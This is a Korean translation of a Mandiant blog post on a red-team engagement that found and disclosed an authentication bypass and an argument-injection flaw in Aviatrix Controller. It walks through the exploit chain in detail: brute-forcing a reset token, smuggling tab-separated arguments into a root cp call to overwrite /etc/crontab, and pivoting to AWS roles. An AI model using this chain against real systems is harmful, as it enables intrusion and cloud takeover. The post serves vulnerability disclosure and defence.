콘텐츠로 이동하기
위협 인텔리전스

Trix Shots: Aviatrix Controller에서 발견된 원격 코드 실행 취약점 분석

2025년 6월 23일
Mandiant

Mandiant Incident Response

Investigate, contain, and remediate security incidents.

Learn more

해당 블로그의 원문은 2025년 6월 24일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Louis Dion-Marcil


이번 블로그에서는 Mandiant 레드팀이 수행한 '최초 접근 중개(Initial Access Brokerage)' 방식의 시뮬레이션 사례 연구를 중점적으로 다룹니다. 이 시뮬레이션을 통해 다양한 클라우드 공급업체 및 지역 간의 연결을 생성하는 SDN(소프트웨어 정의 네트워킹) 유틸리티인 Aviatrix Controller에서 두 가지 취약점이 발견되었습니다.

  • CVE-2025-2171: 관리자 인증 우회 취약점

  • CVE-2025-2172: 인증된 명령어 삽입 취약점

이 취약점들은 Aviatrix Controller 7.2.5012 및 이전 버전에 영향을 미쳤으며, 8.0.0, 7.2.5090, 7.1.4208 버전에서 패치되었습니다. 보안 문제를 심각하게 받아들이고 신속하게 조치해 준 Aviatrix 팀에 감사드립니다.

레드팀은 인증 우회, 안전하지 않은 파일 업로드, 그리고 인자 삽입 공격을 통해 완전히 패치된 Aviatrix Controller를 성공적으로 공격했습니다. 이 상세한 공격 흐름은 그림 1에 나와 있습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig1.max-1700x1700.png

그림 1: 공격 단계

올해 초, Mandiant는 레드팀 참여 과정에서 특히 제한적인 공격 표면에 직면했습니다. 대부분의 공격 표면은 제3자 SaaS였으며, 이는 참여 범위에서 제외되었습니다. 노출된 흥미로운 서비스 중 하나는 AWS에서 호스팅되는, 완전히 패치된 Aviatrix Controller였습니다.

Aviatrix에는 다양한 클라우드 및 지역에 배포된 게이트웨이가 있으며, 이들은 모두 Aviatrix Controller로 호출됩니다. 결과적으로, Controller를 침해하는 것은 모든 클라우드 게이트웨이 및 클라우드 API에 접근하는 중앙 집중식 구성 요소를 장악하는 것을 의미하므로, 공격자에게는 주요 목표가 됩니다. 또한, 2024년에 Aviatrix Controller에 영향을 미친 인증되지 않은 명령어 삽입 취약점인 CVE-2024-50603이 있었음을 발견했습니다. Jakub Korepta의 훌륭한 블로그 게시물에 문서화된 이 취약점은 Aviatrix Controller에서 추가적인 취약점을 찾도록 우리를 동기 부여하기에 충분히 영향력 있어 보였습니다. Aviatrix Controller 소스 코드를 얻는 것은 상대적으로 쉬웠습니다. 우리는 앞서 언급된 블로그 게시물에 설명된 단계를 따르기만 하면 되었습니다.

참여 초기에 우리가 확인한 목표는 고객의 클라우드 환경을 침해하는 것이었습니다. 이는 원격 코드 실행(Remote Code Execution)을 통해서나 Aviatrix Controller의 인증을 우회함으로써 달성할 수 있었습니다. 안타깝게도, 이는 우리가 처음 생각했던 것보다 더 어려운 것으로 판명되었습니다.

아키텍처

Aviatrix Controller는 흥미로운 아키텍처를 활용합니다. Controller 로직은 대부분 PyInstaller를 사용하여 바이너리로 묶인 Python 3.10 코드베이스로 작성되었습니다. Controller 서버에서 이 실행 파일은 /etc/cloudx/cloudxd에서 발견되었습니다.

이 번들된 바이너리는 '프런트엔드'라고 부르는, 더 오래된 것으로 보이는 PHP 코드베이스에 의해 호출되었습니다. 이 프런트엔드는 HTTP 요청을 파싱하고, 매개변수를 추출한 다음, root 권한으로 실행되는 sudo 호출을 통해 cloudxd 바이너리에 전달했습니다.

예를 들어, Aviatrix Controller 로그인 페이지에서 로그인하려고 할 때, 브라우저는 다음과 같은 요청을 보냅니다.

POST /v2/api HTTP/2
[...]

{"action":"login","username":"foobar","password":"foobar"}

이 요청은 /var/www/*에 있는 api.php 파일이 처리하며, 이 파일은 다시 functions.php에 있는 verify_login 함수를 호출합니다.

  function verify_login($username, $password, $ip, $api = false, $token = '') {
    $rtn_file = RTN_FILE . rand();
    $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management get_password";
    $cmdstr .= " --user_name " . escapeshellarg($username);
    $cmdstr .= " --password " . escapeshellarg($password);
    $cmdstr .= " --login_ip " . escapeshellarg($ip);
    if ($api) $cmdstr .= " --api";
    if (!empty($token)) $cmdstr .= " --api_token " . escapeshellarg($token);
    return exec_command($cmdstr, $rtn_file, true);
  }

PHP 프런트엔드는 다음 방식과 같이 cloudxd 바이너리를 호출합니다.

$ sudo /etc/cloudx/cloudxd [...] user_login_management get_password
--username
foobar --password foobar --login-ip {user_ip}

첫 번째 인수는 "module"이었는데, 여기서는 user_login_management이었고, 그 뒤에 "action"get_password가 이어졌습니다. 이 정보는 user_login_management 모듈의 백엔드 구현을 찾는 데 유용하게 활용될 수 있습니다.

백엔드 로직 추출

다음 단계는 로그인, 사용자 등록, 비밀번호 재설정 등 일반적인 인증 흐름이 어떻게 이루어지는지 파악하는 것이었습니다. 우리는 pyinstxtractor 도구를 사용하여 cloudxd 바이너리에서 컴파일된 파이썬 바이트코드를 추출하는 것부터 시작했습니다. 다행히 난독화되지 않은 깔끔한 파이썬 바이트코드 추출본을 얻을 수 있었습니다. Aviatrix 모듈은 같은 이름의 파일(예: user_login_managementuser_login_management.pyc 파일에 있음)에 저장되어 있어 로그인 모듈을 쉽게 식별할 수 있었습니다.

$ find . -name user_login_management.pyc
PYZ-00.pyz_extracted/user_login_management.pyc

$ file PYZ-00.pyz_extracted/user_login_management.pyc
PYZ-00.pyz_extracted/user_login_management.pyc: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

컴파일된 파이썬 파일은 대부분의 인기 있는 파이썬 디컴파일러가 지원하지 않는 파이썬 3.10 버전을 사용했습니다. 따라서 우리는 선조들이 그랬던 것처럼 파이썬 바이트코드를 직접 읽어야 했습니다. 우리는 빠르게 파이썬 3.10 인터프리터를 다운로드하고 바이트코드를 표준 출력(stdout)으로 덤프했습니다.

$ ~/.pyenv/versions/3.10.12/bin/python -c \
"import dis
import types
import marshal

with open('user_login_management.pyc', 'rb') as f:
    f.read(0x10)
    code_object = marshal.load(f)
    dis.dis(code_object)"

   4           0 LOAD_CONST               0 (0)
               2 LOAD_CONST               1 (None)
               4 IMPORT_NAME              0 (os)
               6 STORE_NAME               0 (os)
   5           8 LOAD_CONST               0 (0)
              10 LOAD_CONST               1 (None)
              12 IMPORT_NAME              1 (os.path)
              14 STORE_NAME               0 (os)
   6          16 LOAD_CONST               0 (0)
              18 LOAD_CONST               1 (None)
              20 IMPORT_NAME              2 (logging)
              22 STORE_NAME               2 (logging)

이 방법론을 사용하여 우리는 소스 코드의 바이트코드 표현을 읽을 수 있었습니다. 하지만, 디스어셈블된 파이썬 코드는 상당히 장황하고 로그인 로직만 약 6,300줄에 달했습니다. 레드팀 활동 중에는 그럴 시간이 없었기 때문에 몇 가지 지름길을 택해야 했습니다.

인증 우회

우리는 Gemini를 사용해 디스어셈블된 파이썬 코드로부터 파이썬 의사 코드(pseudocode)를 얻었고, 이를 통해 많은 시간을 절약했습니다. 흥미로운 점 한 가지가 눈에 띄었습니다. 계정의 비밀번호 재설정을 시작할 때, 111,111에서 999,999 사이의 6자리 숫자가 비밀번호 재설정 토큰으로 생성되었습니다. Gemini가 생성한 의사 코드는 그림 2에서 확인할 수 있습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig2.max-1400x1400.png

그림 2: reset_password 액션에 대한 LLM 생성 의사 코드

비밀번호 재설정 토큰의 엔트로피는 너무 약해서 효과적이지 못했습니다. 후보가 999,999 - 111,111 = 888,888개에 불과했기 때문입니다. 우리는 코드베이스에서 너무 많은 잘못된 토큰 입력 시 비밀번호 재설정을 무효화하는 로직을 찾을 수 없었습니다. 그러나 Aviatrix Controller는 토큰을 15분 동안만 허용하며, 그 이후에는 토큰이 무효화되었습니다.

이것은 약 90만 개의 후보로 계정 탈취를 시도할 수 있는 15분의 시간을 우리에게 주었습니다. 공격 이론을 세운 후, 우리는 비밀번호 무차별 대입기(bruteforcer)를 만들었고, 입력으로는 seq -w 111111 999999 | sort --random-sort를, 비밀번호 재설정 요청을 보내는 데는 ffuf를 사용했습니다.

우리는 15분마다 다음 단계를 반복해야 했습니다.

  1. 행운을 빌며 새로운 후보 목록을 생성합니다 (필수는 아니지만 변화를 주는 것이 좋습니다).

  2. curl을 통해 비밀번호 재설정을 시작합니다.

  3. 새로운 후보들로 ffuf 무차별 대입을 시작합니다.

무차별 대입기는 "invalid or expired"라는 문자열과 일치하는 모든 요청을 무시하도록 설정되어, ffuf는 유효한 비밀번호 재설정 토큰만 반환했습니다. 비밀번호 재설정 요청을 보내면 필연적으로 구성된 관리자의 이메일 주소로 이메일이 전송되어 매우 시끄러울 수 있지만, 관리자 계정에 이메일이 구성되어 있지 않을 가능성도 있었습니다. 계정 탈취 진행에 대한 고객의 승인을 받은 후, 우리는 기본 Aviatrix 사용자 "admin"을 대상으로 무차별 대입을 시작했고, 16시간 23분 만에 그림 3과 같이 일치하는 토큰을 찾아냈습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig3a.max-600x600.png

그림 3: 정상적인 비밀번호 재설정 토큰

이 토큰 덕분에 우리는 관리자 사용자의 비밀번호를 재설정하고 컨트롤러에 인증할 수 있었습니다. 우리는 Aviatrix Controller의 보안 통제를 첫 번째 단계에서 뚫고 들어갔고, OpenVPN 구성 배포, 사용자 생성, 사용자 해시된 자격 증명 획득, 로컬 MongoDB 읽기 등 다양한 클라우드 기능에 접근할 수 있게 되었습니다.

익스플로잇 프리미티브(Exploit Primitives) 찾기

Aviatrix는 침해된 컨트롤러 자격 증명이 전체 클라우드 침해로 이어지지 않도록 많은 예방 조치를 취합니다. 즉, 우리는 컨트롤러 서버에서 기본 명령을 실행하거나 연결할 수 있는 새로운 클라우드 인스턴스(EC2, GCE)를 생성하는 것이 불가능해 보였습니다. 레드팀의 목표 관점에서 보면, 관리자 계정에 접근한 것은 성공이었지만 우리가 바라던 최종적인 성공은 아니었습니다.

우리는 원격 코드 실행(Remote Code Execution)으로 이어질 수 있는 취약점을 찾기 시작했습니다. 처음부터 우리의 눈길을 끈 흥미로운 코드 부분은 다음과 같이 프런트엔드(PHP) 수준에서 매우 창의적으로 구현된 파일 업로드 처리 방식이었습니다.

function upload_file($actionname, $key, $arr, $ext = array(), $type = null, $size = PHP_LIMIT_SIZE) {
    $res["return"] = false;
    $invalid_extensions = array("php", "py", "htaccess", "zip", "sh", "pdf");
    if (array_key_exists($key, $arr) && !empty($arr[$key])) {
      switch ($arr[$key]["error"]) {
        case 0:
          $filename = basename($arr[$key]["name"]);
          $extension = substr($filename, strrpos($filename, ".") + 1);
          $extension = strtolower(explode(" ", $extension)[0]);
          $filename = substr($filename, 0, strrpos($filename, "."));
          $filename = preg_replace("/\s+/", "_", $filename);
          if (!empty($ext) && !in_array($extension, $ext)) {
            $res["reason"] = "Invalid file extension.";
            [...]
          } else {
            $storedname = $actionname . "-" . $key;
            $newpath = "/var/avxui/" . $storedname . "." . $extension;
            if (!move_uploaded_file($arr[$key]["tmp_name"], $newpath)) {
              $res["reason"] = "A problem occurred during file upload.";
            } else {
              $res["return"] = true;
              $res["filename"] = $newpath;
            }
          }
    [...]
  return $res;
}

이 루틴은 꽤 많은 일을 처리합니다. 먼저, upload_file() 함수는 파일 확장자 허용 목록 기능을 제공했지만, 실제로는 거의 사용되지 않았습니다. 예를 들어, PHP 프런트엔드 코드베이스에서 발견된 이 함수 호출들은 확장자 허용 목록을 전혀 지정하지 않았습니다.

  • upload_file($action, "file", $_FILES);
  • upload_file($action, "ldap_ca_cert", $_FILES);
  • upload_file($action, "ldap_client_cert", $_FILES);
  • upload_file($action, "ldap_ca_cert", $_FILES);
  • upload_file($action, "ldap_client_cert", $_FILES);

이 함수의 흥미로운 부작용 중 하나는 업로드된 파일이 디스크에 기록되지만, 처리된 후에는 삭제되지 않는다는 점이었습니다. 또한, 파일 확장자를 통해 디스크에 기록되는 파일을 부분적으로 제어할 수 있었습니다.

예를 들어, 다음의 파일 업로드 요청을 살펴보겠습니다.

Content-Disposition: form-data; name="ldap_ca_cert";
filename="xxe.
foobar;baz"

...와 같은 요청을 보내면, Aviatrix Controller 파일 시스템에 "/var/avxui/test_ldap_bind-ldap_ca_cert.foobar;baz"라는 업로드 파일이 생성됩니다.

파일 업로드 루틴은 슬래시를 허용하지 않으며, 첫 번째 공백 문자 뒤에 오는 모든 내용을 잘라내고, 마지막 마침표(.) 앞의 모든 것을 무시했습니다. 흥미롭게도 컨트롤러는 파일 이름에 탭 문자를 허용했습니다. 다음은 파일 이름 예시와 디스크에 어떻게 기록되는지를 보여줍니다.

업로드된 파일

디스크 상 파일

foobar.abc

{action}.abc

foobar.abc.xyz

{action}.xyz

foobar.abc/def.ghj

{action}.ghj

foobar.abc .xyz

{action}.abc

foobar.abc{tab}xyz

{action}.abc{tab}xyz

제어할 수 있는 부분적인 파일 이름을 디스크에 저장한 후, Mandiant는 명령어 삽입 취약점을 찾기 시작했습니다. 만약 컨트롤러 백엔드가 업로드된 파일 이름을 명령줄 인수에 안전하지 않게 사용한다면, 셸 명령에 삽입하여 원격 코드 실행을 수행하는 것이 가능할 수 있습니다.

우리가 관찰한 또 다른 흥미로운 아키텍처 결정은 컨트롤러가 OS 수준의 작업을 수행하기 위해 명령줄 유틸리티를 사용한다는 점이었습니다. 예를 들어, 컨트롤러는 파일 복사를 처리하기 위해 파이썬 라이브러리 대신 "cp" 프로그램을 실행했습니다. 이는 우리가 부분적인 파일 이름을 제어할 수 있었기 때문에 상당한 공격 표면을 만들었습니다.

Mandiant는 운영 체제 명령을 실행하는 데 사용되는 라이브러리 코드를 조사하는 동안 흥미로운 패턴을 발견했습니다. 실행될 명령들이 문자열로 구성된 다음, 나중에 토큰화되는 방식이었습니다. 이는 다음 파이썬 바이트코드에 나와 있습니다.

// Disassembly of tools.sysutils.txt
Disassembly of get_system_cmd_output:
276           0 LOAD_FAST                0 (cmd)
              2 STORE_FAST               8 (cmd_)
277           4 LOAD_FAST                3 (shell)
              6 POP_JUMP_IF_TRUE        14 (to 28)
              8 LOAD_GLOBAL              0 (isinstance)
             10 LOAD_FAST                0 (cmd)
             12 LOAD_GLOBAL              1 (list)
             14 CALL_FUNCTION            2
             16 POP_JUMP_IF_TRUE        14 (to 28)
278          18 LOAD_GLOBAL              2 (shlex)
             20 LOAD_METHOD              3 (split)
             22 LOAD_FAST                0 (cmd)
             24 CALL_METHOD              1
             26 STORE_FAST               8 (cmd_)
[...]
291          64 LOAD_GLOBAL              5 (subprocess)
             66 LOAD_ATTR                6 (check_output)
             68 LOAD_FAST                8 (cmd_)
[...]
             80 STORE_FAST              10 (res)
[...]
            242 LOAD_FAST               12 (res)
            244 CALL_METHOD              1
            246 RETURN_VALUE

이 바이트코드는 다음과 같은 방식으로 파이썬 코드로 번역될 수 있었습니다.

def get_system_cmd_output(cmd, [...]):
    cmd_ = shlex.split(cmd)
    return subprocess.check_output(cmd_))

Aviatrix Controller의 개별 기능들이 다음과 같이 명령어를 문자열로 구성한다는 것을 의미했습니다.

get_system_cmd_output("cp /folder/fileA /folder/fileB")

get_system_cmd_output() 함수가 문자열을 입력으로 받았지만, 내부의 subprocess.check_output() 함수는 ["cp", "/folder/fileA", "/folder/fileB"]와 같은 리스트를 필요로 했습니다. 이에 대응하기 위해 Aviatrix Controller는 파이썬 subprocess 문서를 따라 명령줄 문자열에 shlex.split() 함수를 호출했습니다. 취약점은 바로 이 shlex.split() 함수 호출에 있었습니다.

인자 밀반입

shlex 모듈은 셸 인터프리터가 하는 것과 동일한 방식으로 사용자 입력을 분리합니다. 즉, 탭 문자(tab character)와 같은 모든 일반적인 공백 문자를 토큰화합니다. 파일 업로드 프런트엔드가 탭 문자를 살균(sanitize)하거나 필터링하지 않았기 때문에 이는 우리에게 특히 흥미로운 점이었습니다. 따라서 업로드된 파일 이름에 탭 문자를 추가함으로써, 명령줄 인자를 셸 인터프리터로 밀반입하는 것이 가능했습니다. 그림 4는 shlex 라이브러리가 탭 문자를 공백처럼 토큰화하는 것을 보여줍니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig4.max-1000x1000.png

그림 4: 탭 문자를 토큰화하는 shlex

예를 들어, 우리가 다음과 같은 이름으로 파일을 업로드했다고 가정해 보겠습니다.

foobar.foo{TAB}--bar{TAB}--baz

다음과 같은 파일이 디스크에 기록됩니다.

{ACTION}.foo{TAB}--bar{TAB}--baz

만약 이 파일이 나중에 "cp"와 같은 명령줄 유틸리티로 전달되면, 다음과 같은 명령이 실행될 것입니다.

$ cp {ACTION}.foo --bar --baz /folder/final_file

이 방법을 통해 예상치 못한 인자를 호출되는 하위 프로그램으로 밀반입할 수 있었습니다!

우리는 파일 업로드를 허용하고 부분적으로 제어되는 파일 이름을 셸 프로그램으로 전달하는 기능을 찾아 나섰습니다. 그러한 기능 중 하나는 사용자 지정 CA 인증서 파일을 설치할 수 있는 Proxy Admin 유틸리티에서 발견되었습니다. 이 인증서는 파일 업로드를 통해 얻어져 디스크에 저장된 후, "cp" 명령을 통해 파일 시스템의 다른 곳으로 복사되었습니다. 이는 다음과 같이 나타납니다.

// Disassembly of CertInstall.pyc
Disassembly of install:
[...]
 81          18 LOAD_CONST               1 ('sudo cp %s %s')
             20 LOAD_FAST                0 (self)
             22 LOAD_ATTR                3 (crt)
             24 LOAD_FAST                0 (self)
             26 LOAD_ATTR                4 (_local_crt)
[...]
             32 STORE_FAST               2 (cmd)
 83          44 LOAD_FAST                1 (cmdset)
             46 LOAD_METHOD              5 (append)
             48 LOAD_CONST               2 ('sudo update-ca-certificates')
             50 CALL_METHOD              1
             52 POP_TOP
[...]
 84     >>   54 LOAD_FAST                0 (self)
             56 LOAD_METHOD              6 (_exec_commands)
             58 LOAD_FAST                1 (cmdset)
             60 CALL_METHOD              1

class CertInstall:
    def install(self):
        cmd = f"sudo cp {injection_point} /usr/local/share/cacertificates/test_proxy_connectivity-server_ca_cert.crt"
        cmdset.append(cmd)
        cmdset.append("sudo update-ca-certificates")
      return self._exec_commands(cmdset)

이것은 이상적인 후보였습니다. 만약 우리가 /usr/bin/cp 프로그램에 인자를 밀반입할 수 있다면, 이론적으로 업로드된 파일을 파일 시스템의 다른 곳으로 복사할 수 있기 때문입니다. 게다가, 컨트롤러가 인증서로 예상하는 밀반입 파일의 내용은 사용자가 완전히 제어할 수 있었습니다. 이제 우리의 목표는 /usr/bin/cp에 인자를 밀반입하여 기본 파일 시스템에 임의 파일 쓰기 프리미티브를 얻는 것이었습니다. 성공하면 sudo로 래핑된 cp 호출 때문에 루트(root) 권한으로 실행될 것입니다.

인증된 /usr/bin/cp 해커

우리는 여러 익스플로잇 요구사항을 시뮬레이션하기 위해 테스트 환경을 만들었습니다. 특히, 우리는 다음 요구사항을 충족하는 파일 이름을 만들어야 합니다.

  1. 마침표(.) 문자를 사용할 수 없습니다.

  2. 슬래시 문자(/ 또는 \)를 사용할 수 없습니다.

  3. 공백 문자를 사용할 수 없습니다.

  4. 파일 이름은 PHP 프런트엔드에 의해 소문자로 변환됩니다.

  5. 밀반입된 인자는 두 번째 위치에 전달됩니다.

  6. 현재 작업 디렉터리는 /입니다.

말처럼 쉽지는 않았습니다! 우리의 삽입 지점은 다음과 같습니다.

$ cp /var/avxui/test_proxy_connectivityserver_ca_cert.{prefix}
{smuggled arguments} /usr/local/share/cacertificates/
test_proxy_connectivity-server_ca_cert.crt

간결성을 위해 다음과 같이 다시 작성하겠습니다.

$ cp {prefix} {smuggled arguments} {trailing}

여기서 {prefix}는 우리가 업로드한 내용을 포함하는 사용자 제어 파일명이고, {trailing}은 의도된 최종 인증서 대상인 /usr/local/share/cacertificates입니다.

우리는 비교적 초기에 마침표(.) 문자가 포함되지 않은 /etc/crontab을 덮어쓰기 위한 흥미로운 대상으로 식별했습니다. 이것으로 첫 번째 요구사항을 해결했습니다.

먼저, cp를 사용하여 업로드한 파일의 이름을 현재 작업 디렉터리에서 crontab으로 변경할 것입니다. 다음으로, 두 번째 cp 명령을 실행하여 /etc로 복사할 것입니다.

처음에는 슬래시 사용이 제한되어 /etc를 참조하지 않고 /etc에 파일을 쓰는 방법이 명확하지 않았습니다. 슬래시 문자를 참조하지 않고 무기화된 crontab 파일을 /etc로 복사하는 한 가지 방법은 여러 입력 파일이 전달될 때 cp 명령이 마지막 인자를 디렉터리로 취급한다는 사실을 악용하는 것이었습니다. 즉, 최종 파일이 단순히 "etc"인 명령을 어떻게든 만들 수 있다면, 이전에 전달된 모든 파일명이 슬래시를 지정할 필요 없이 /etc로 복사될 것입니다! 매뉴얼에 따르면 다음과 같습니다.

SYNOPSIS
       cp [OPTION]... SOURCE... DIRECTORY

DESCRIPTION
       Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.

우리가 인자를 밀반입하는 명령어에는 /var/avxui/test_proxy_connectivity-server_ca_cert.txt라는 후행 파일명이 있습니다. 그러나 매뉴얼 페이지를 신중하게 읽어본 결과, 다음과 같은 흥미로운 인자를 발견했습니다.

       -S, --suffix=SUFFIX
              override the usual backup suffix

시스템이 오인하도록 --suffix 인자를 밀반입함으로써, 우리는 cp 바이너리가 후행 파일명을 백업 접미사로 인식하게 만들 수 있었습니다. 여기서는 --backup 인자를 전달하지 않으므로 이 접미사는 무시됩니다. 이렇게 함으로써, 우리는 최종 파일이 "etc"인 cp 명령을 만들 수 있었습니다.

$ echo BAD > /var/fileupload.txt

## Simulate first file upload, "crontab" file is created at the root

$ cp /var/fileupload.txt crontab --suffix /usr/local/cert…

$ cat /crontab

BAD

## Simulate second file upload, "crontab" is copied over to /etc

$ cp /var/fileupload.txt crontab etc --suffix /usr/local/cert…

$ cat /etc/crontab

BAD

그림 5에 실시간 예시가 나와 있습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/original_images/aviatrix-fig5.gif

그림 5: 인자 밀반입으로 인한 임의 파일 쓰기

종합적인 공격 실행

이 시점에서 우리는 인자 삽입(argument injection) 익스플로잇을 이론화했고, 이제 실제로 작동하는지 확인할 차례였습니다.

1단계: 우리는 먼저 단순한 crontab 파일을 포함하는 CA 인증서 파일을 dummy.txt라는 이름으로 업로드했습니다. 이 파일은 그림 6과 같이 파일 시스템에 /var/avxui/test_proxy_connectivityserver_ca_cert.txt로 저장됩니다. 이 파일은 나중에 crontab으로 이름이 변경된 후 /etc로 이동될 것입니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig6.max-1300x1300.png

그림 6: 악성 crontab 파일을 포함하는 로컬 파일 생성

2단계: 다음으로, 우리는 첫 번째 인자 삽입 공격을 수행하여, test_proxy_connectivityserver_ca_cert.txt 파일의 이름을 crontab으로 변경했습니다. 이는 그림 7에 나와 있습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig7.max-1300x1300.png

그림 7: 파일 확장자에 인자를 밀반입하여 로컬 파일 생성

이 HTTP 요청 이후에 실행되는 실제 명령어는 다음과 같습니다.

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab
--suffix /usr/local/share/ca-certificates/
test_proxy_connectivity-server_ca_cert.crt

설명된 바와 같이, --suffix 인자는 후행 파일명을 제거하므로 cp 명령어를 다음과 같이 단축할 수 있습니다.

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab

명령어가 파일 시스템의 루트에서 실행되므로, cp 명령어는 /var/avxui/test_proxy_connectivity-server_ca_cert.txt 파일을 /crontab으로 복사하게 됩니다.

3단계: 마지막으로, 버그를 한 번 더 트리거하여 /crontab 파일을 /etc 폴더로 이동시킵니다. 이는 그림 8에 나와 있습니다. 

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig8.max-1300x1300.png

그림 8: 로컬 파일을 /etc 폴더로 이동시키기

이 HTTP 요청 이후에 실행되는 실제 명령어는 다음과 같습니다.

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab
etc --suffix /usr/local/share/ca-certificates/
test_proxy_connectivity-server_ca_cert.crt

cp 명령어는 다음과 같이 단축할 수 있습니다.

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt
crontab etc

cp 명령어에 전달된 파일이 두 개 이상이므로, 마지막 파일은 디렉터리로 인식됩니다. 이 명령어는 /var/avxui/test_proxy_connectivity-server_ca_cert.txtcrontab 파일을 모두 /etc로 복사하여 공격 연결고리를 완성합니다.

과연, 1분 이내에 그리고 그 후 매분마다 curl 콜백을 받았습니다! 이는 그림 9에 나와 있습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig9.max-700x700.png

그림 9: crontab이 curl 명령을 성공적으로 실행하는 모습

실행 컨텍스트는 crontab에서 상속받은 root 권한으로 실행되어 공격자의 관점에서 매우 편리했습니다.

이는 인증 우회(Authentication Bypass), 안전하지 않은 파일 업로드(Unsafe File Upload), 그리고 인자 삽입(Argument Injection)을 통해 완전히 패치된 Aviatrix Controller를 성공적으로 공격했음을 확인시켜 주었습니다.

클라우드 피벗(Cloud Pivots)

이것은 초기 접근 팀의 마지막 단계였지만, 레드팀 운영자들에게는 참여의 시작이었습니다. 우리에게 남은 마지막 단계는 이 접근 권한을 활용하여 클라우드 관리자 권한을 획득하는 것이었습니다. 침해된 Aviatrix Controller에서 AWS IMDSv2 엔드포인트를 쿼리하여 임시 클라우드 키를 얻을 수 있었습니다.

이것은 설계상 거의 아무런 권한도 없는 ARN "arn:aws:sts::[...]:assumed-role/Aviatrix-role-ec2"에 대한 접근 권한을 부여해야 합니다. 권한 있는 Aviatrix 역할에 대한 클라우드 키를 얻기 위해, 우리는 Aviatrix 문서에 설명된 대로 Assume Role을 수행해야 했습니다.

AWS 프로필을 구성한 후, 우리는 다음 명령을 실행했습니다.

$ aws sts assume-role --role-arn "arn:aws:iam::[...]:
role/aviatrix-role-app" --role- session-name "AviatrixSession"

이것은 우리에게 EC2, S3 버킷 등에 접근할 수 있는 새로운 임시 AWS 키를 부여했습니다.

결론

특히 제한적인 공격 표면 때문에 우리는 이례적인 대상인 SDN(소프트웨어 정의 네트워킹) 컨트롤러를 공략해야 했습니다. 코드 검토, 인내심, 그리고 많은 운을 통해 Mandiant 초기 접근 팀은 새로 발견한 두 가지 취약점을 악용하여 고객의 Aviatrix Controller를 침해했고, 이후 그들의 클라우드 환경까지 장악했습니다

타임라인

  • 2025년 3월 10일: Aviatrix 헬프데스크에 초기 보고서 제출

  • 2025년 3월 12일: Aviatrix 리더십에 문제 에스컬레이션

  • 2025년 3월 12일: Aviatrix 엔지니어 및 리더십과 전화 통화를 통해 문제 설명

  • 2025년 3월 31일: 고객에게 패치 출시

게시 위치